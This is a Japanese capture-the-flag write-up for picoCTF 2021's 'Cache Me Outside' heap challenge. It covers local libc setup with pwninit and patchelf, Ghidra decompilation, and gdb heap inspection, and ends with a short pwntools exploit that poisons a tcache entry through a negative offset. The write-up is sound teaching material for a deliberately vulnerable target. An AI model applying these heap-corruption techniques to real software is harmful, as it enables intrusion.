tcacheの汚染

picoCTF 2021の「Cache Me Outside」。ヒープ問。

tcacheエントリについてアドレスを書き換える。

ローカルで動かすとlibc関連でエラーが発生するのでそのトラブルシューティングについても。

ローカルで動かすとエラー

動かしてるマシンのlibcと与えられたlibcの違いによりエラーが発生する:

shoebill@pwner:~/pico$ ./heapedit 
Inconsistency detected by ld.so: dl-call-libc-early-init.c: 37: _dl_call_libc_early_init: Assertion `sym != NULL' failed!

適切なリンカをダウンロードして解決する(pwninitを使用)。

shoebill@pwner:~/pico$ ls
heapedit  libc.so.6
shoebill@pwner:~/pico$ pwninit
bin: ./heapedit
libc: ./libc.so.6

fetching linker
https://launchpad.net/ubuntu/+archive/primary/+files//libc6_2.27-3ubuntu1.2_amd64.deb
setting ./ld-2.27.so executable
copying ./heapedit to ./heapedit_patched
running patchelf on ./heapedit_patched
writing solve.py stub

次のようにLD_PREALOADでlibcとリンカを指定して実行する:

shoebill@pwner:~/pico/PwnInit$ ls
heapedit  heapedit_patched  ld-2.27.so  libc.so.6  solve.py
shoebill@pwner:~/pico/PwnInit$ LD_PREALOAD=./libc.so.6 ./ld-2.27.so ./heapedit
Segmentation fault (core dumped)

flag.txtを用意することに注意する。

shoebill@pwner:~/pico/PwnInit$ echo -n 'picoCTF{test_flag}' > flag.txt
shoebill@pwner:~/pico/PwnInit$ LD_PREALOAD=./libc.so.6 ./ld-2.27.so ./heapedit
You may edit one byte in the program.
Address:

でも毎回この長いのを打ち込むのは面倒だから、patchelfコマンドで設定してやる:

shoebill@pwner:~/pico/PwnInit$ patchelf  --set-interpreter ./ld-2.27.so ./heapedit
shoebill@pwner:~/pico/PwnInit$ ./heapedit
You may edit one byte in the program.
Address: 

これで快適に実行できるようになった。

プログラムの概要

shoebill@pwner:~/Pico$ ./conn.sh 
You may edit one byte in the program.
Address: 0
Value: 0
t help you: this is a random string

書いてある通り、1バイトだけ書き換えることができるらしい。アドレスを指定して、そこに値を与える。

よくわからないのでデコンパイルする。

デコンパイルして解析

ghidraでmain関数をデコンパイル

undefined8 main(void)

{
  ...
  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  setbuf(stdout,(char *)0x0);
  flag = fopen("flag.txt","r");
  fgets(flag_cp,0x40,flag);
  local_78 = 0x2073692073696874;  // this is
  local_70 = 0x6d6f646e61722061;  // a random
  local_68 = 0x2e676e6972747320;  // string.
  local_60 = 0;
  local_a0 = (undefined8 *)0x0;
  for (i = 0; i < 7; i = i + 1) {
    local_98 = (undefined8 *)malloc(0x80);
    if (local_a0 == (undefined8 *)0x0) {
      local_a0 = local_98;
    }
    *local_98 = 0x73746172676e6f43;    // Congrats
    local_98[1] = 0x662072756f592021;  // ! Your f
    local_98[2] = 0x203a73692067616c;  // lag is:
    *(undefined *)(local_98 + 3) = 0;
    strcat((char *)local_98,flag_cp);
  }
  local_88 = (undefined8 *)malloc(0x80);
  *local_88 = 0x5420217972726f53;    // Sorry! T
  local_88[1] = 0x276e6f7720736968;  // his won'
  local_88[2] = 0x7920706c65682074;  // t help y
  *(undefined4 *)(local_88 + 3) = 0x203a756f;  // ou:
  *(undefined *)((long)local_88 + 0x1c) = 0;
  strcat((char *)local_88,(char *)&local_78);
  free(local_98);
  free(local_88);
  address_input = 0;
  value_input = 0;
  puts("You may edit one byte in the program.");
  printf("Address: ");
  __isoc99_scanf(&DAT_00400b48,&address_input);
  printf("Value: ");
  __isoc99_scanf(&DAT_00400b53,&value_input);
  *(undefined *)((long)address_input + (long)local_a0) = value_input;
  local_80 = malloc(0x80);
  puts((char *)((long)local_80 + 0x10));
...
}

あの長いhexは文字列(echoxxd -rにパイプしたり、pwntoolsのp64関数とか使えば変換可能)。

標準入力で与える値について、上のghidraの表示をみると、Addressの入力は10進数の整数値、Valueの入力は文字列を与えるとわかる(わかりやすくaddress_inputvalue_inputと名付けた)。

フラグはlocal_98に結合されている。特に、local_a0は0で初期化され、その後local_98malloc(0x80)の返り値)を代入されている。

終盤にある次のコードに注目する:

  *(undefined *)((long)address_input + (long)local_a0) = value_input;

つまり、Addressとして入力するのは、”local_a0からのオフセット”ということだ。

デバッグしてヒープの状況を見る

まず、puts("You may edit one byte in the program.")にブレイクポイントを打ってそのタイミンでのヒープの様子を見てみる:

gdb-peda$ b *main+453
Breakpoint 1 at 0x4009cc
gdb-peda$ r
...
gdb-peda$ heapinfo
(0x20)     fastbin[0]: 0x0
(0x30)     fastbin[1]: 0x0
(0x40)     fastbin[2]: 0x0
(0x50)     fastbin[3]: 0x0
(0x60)     fastbin[4]: 0x0
(0x70)     fastbin[5]: 0x0
(0x80)     fastbin[6]: 0x0
(0x90)     fastbin[7]: 0x0
(0xa0)     fastbin[8]: 0x0
(0xb0)     fastbin[9]: 0x0
                  top: 0x603910 (size : 0x1f6f0)
       last_remainder: 0x0 (size : 0x0)
            unsortbin: 0x0
(0x90)   tcache_entry[7](2): 0x603890 --> 0x603800

tcacheに2つ繋がれてる。デコンパイル結果からわかる通り、直前で次のようにfreeしてるから:

  free(local_98);
  free(local_88);
  address_input = 0;
  value_input = 0;
  puts("You may edit one byte in the program.");

tcacheのエントリ追加・確保は共に先頭に対して行われるから、この場合

  • 0x603890 : local_88
  • 0x603800 : local_98

という対応だ。実際にそれぞれ見ると...

gdb-peda$ x/8s 0x603890
0x603890:   ""
0x603891:   "8`"
0x603894:   ""
0x603895:   ""
0x603896:   ""
0x603897:   ""
0x603898:   "his won't help you: this is a random string."
0x6038c5:   ""

gdb-peda$ x/10s 0x603800
0x603800:   ""
0x603801:   ""
0x603802:   ""
0x603803:   ""
0x603804:   ""
0x603805:   ""
0x603806:   ""
0x603807:   ""
0x603808:   "! Your flag is: picoCTF{test_flag}"

続けて、一番最後にあるputs

 *(undefined *)((long)address_input + (long)local_a0) = value_input;
  local_80 = malloc(0x80);
  puts((char *)((long)local_80 + 0x10));

にブレイクポイントを打ってそのタイミングでのヒープの状況を見てみる。直前でmalloc(0x80)してることに注意する:

gdb-peda$ b *main+599
gdb-peda$ c
...
gdb-peda$ heapinfo
(0x20)     fastbin[0]: 0x0
(0x30)     fastbin[1]: 0x0
(0x40)     fastbin[2]: 0x0
(0x50)     fastbin[3]: 0x0
(0x60)     fastbin[4]: 0x0
(0x70)     fastbin[5]: 0x0
(0x80)     fastbin[6]: 0x0
(0x90)     fastbin[7]: 0x0
(0xa0)     fastbin[8]: 0x0
(0xb0)     fastbin[9]: 0x0
                  top: 0x603d20 (size : 0x1f2e0)
       last_remainder: 0x0 (size : 0x0)
            unsortbin: 0x0
(0x90)   tcache_entry[7](1): 0x603800

確かに先頭にあった0x603890の方が確保されてる(それで結果的に”〜 this is a random string.”という失敗したことを表す文章が表示さる)。

※ tcacheにてindexの7番はサイズ0x90に対応する。mallocしてるのは0x80バイトだが、そこにヘッダも合わせると0x80バイトをオーバーする。そして、チャンクでは0x10の倍数に揃えられるから結果的にサイズ0x90バイトとして扱われてる。

そしてgdbheapbaseコマンドでtcacheエントリ全体を見る:

gdb-peda$ heapinfo
...
                  top: 0x603d20 (size : 0x1f2e0) 
       last_remainder: 0x0 (size : 0x0) 
            unsortbin: 0x0
(0x90)   tcache_entry[7](2): 0x603890 --> 0x603800

gdb-peda$ heapbase
heapbase : 0x602000
gdb-peda$ x/32gx 0x602000
0x602000:   0x0000000000000000  0x0000000000000251
0x602010:   0x0200000000000000  0x0000000000000000
0x602020:   0x0000000000000000  0x0000000000000000
0x602030:   0x0000000000000000  0x0000000000000000
0x602040:   0x0000000000000000  0x0000000000000000
0x602050:   0x0000000000000000  0x0000000000000000
0x602060:   0x0000000000000000  0x0000000000000000
0x602070:   0x0000000000000000  0x0000000000000000
0x602080:   0x0000000000000000  0x0000000000603890
0x602090:   0x0000000000000000  0x0000000000000000
0x6020a0:   0x0000000000000000  0x0000000000000000
...

戦略

最後にあるmalloc(0x80)のタイミングで、tcache_entry[7]にlocal_98だけがつながっている状態を作れば良さそう。

ではどうやってそれよりも先についているlocal_88をどかす、すなわちtcache_entry[7]から外せばいいのか?

👉 いや外すのではなく、 tcache_etnryの0x603890の部分を0x603800に書き換えてやればよい。

address_inputの箇所から、0x603890のある場所までのオフセットを調べて、value_inputとして0x6800を与える。

tcacheの汚染

1つ目のinputの箇所にブレイクポイントを打ち、そこからniで一命令ずつ実行していく。

address_inputとして24、value_inputとして0xdeadbeefを与えて、そこから少しずつ実行していくとadd命令がある。そこが(long)address_input + (long)local_a0なのでこのタイミングでlocal_a0とかを解析できる:

[-------------------------------------code-------------------------------------]

   0x400a29 <main+546>: mov    eax,DWORD PTR [rbp-0xa0]
   0x400a2f <main+552>: movsxd rdx,eax
   0x400a32 <main+555>: mov    rax,QWORD PTR [rbp-0x98]
=> 0x400a39 <main+562>: add    rdx,rax
   0x400a3c <main+565>: movzx  eax,BYTE PTR [rbp-0xa1]
   0x400a43 <main+572>: mov    BYTE PTR [rdx],al
   0x400a45 <main+574>: mov    edi,0x80
   0x400a4a <main+579>: call   0x4006e0 <malloc@plt>
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffdca0 --> 0x7fffffffde48 --> 0x7fffffffe1e1 ("/home/shoebill/Pico/heapedit")
0008| 0x7fffffffdca8 --> 0x100000000 
0016| 0x7fffffffdcb0 --> 0x0 
0024| 0x7fffffffdcb8 --> 0x3000000000000000 ('')
0032| 0x7fffffffdcc0 --> 0x700000018 
0040| 0x7fffffffdcc8 --> 0x6034a0 ("Congrats! Your flag is: picoCTF{test_flag}")
0048| 0x7fffffffdcd0 --> 0x603800 --> 0x0 
0056| 0x7fffffffdcd8 --> 0x602260 --> 0xfbad2498 
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
0x0000000000400a39 in main ()
gdb-peda$ i r rdx
rdx            0x18                0x18
gdb-peda$ i r rax
rax            0x6034a0            0x6034a0

rdxレジスタaddress_input(自分が入力した24=0x18)、raxレジスタlocal_a0だ!

  • address_inputのアドレス:0x6034a0(上で示してるlocal_a0のアドレス)
  • 0x603890のあるアドレス:0x602088heapbaseの結果より)
gdb-peda$ p/d 0x6034a0 - 0x602088
$1 = 5144

exploit

#!/usr/bin/env python3
from pwn import *

def attack(conn, **kwargs):
    address_input = b'-5144'
    conn.sendlineafter(b'Address: ', address_input)

    value_input = p64(0x0000000000603800)
    conn.sendlineafter(b'Value: ', value_input)

def main():
    conn = remote("mercury.picoctf.net", 17612)
    attack(conn)
    conn.interactive()

if __name__ == '__main__':
    main()
  • 5144ではなく-5144で成功した
  • 0x0000000000603800p64()関数でバイト列にして与える

なぜ”マイナス”5144なのか?

書き換えたい0x0000000000603890のあるアドレスが、local_a0よりも下位だから:

  • address_inputのアドレス:0x6034a0local_a0のアドレス)
  • 0x603890のあるアドレス:0x602088

%dだから整数であれば負数だって与えられる)